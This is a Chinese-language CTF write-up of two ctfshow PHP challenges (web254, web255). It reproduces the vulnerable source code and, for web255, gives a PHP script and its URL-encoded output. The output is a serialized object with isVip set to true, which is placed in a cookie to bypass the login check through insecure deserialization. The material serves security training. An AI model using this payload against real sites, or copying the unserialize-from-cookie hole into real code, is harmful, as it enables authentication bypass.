web254
首先进行一个代码审计
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
以下代码创建了一个ctfshowuser的类,在类中定义了username,password,isvip三个变量初值
定义一个checkvip的方法,用于检测isvip的值
login的方法,有两个变量$u和$p,分别对username变量和password变量进行强比较(值和类型都必须相等)
如果都相等就将isVIP的值转换为true
然后定义一个viponekeygetflag方法,如果isvip为真,打印flag
第二部分,是利用GET方法向username和password变量赋值
如果两个变量存在就通过new实例化类对象
通过->对类实例化后的对象读取类中的属性和方法
因为username和password变量已经有了初值,也就是说类里的login方法的形参$u和$p的值已经确定,所以我们在外直接原样构造就可以获得flag
web255
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
首先也跟前面没有太大变化,只是没有将isvip赋值为true的条件
还是依旧向两个变量赋值,唯不一样的就是user变量的值变为了序列化后的cookie值
首先要先将isvip赋值为true
然后利用new实例化后进行序列化
最后输出url编码后的值
<?php
class ctfShowUser{
public $isVip=true;
}
$a= serialize(new ctfShowUser());
echo urlencode($a);
?>
//输出结果:O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
最后将编码后的值填入名为user的cookie就行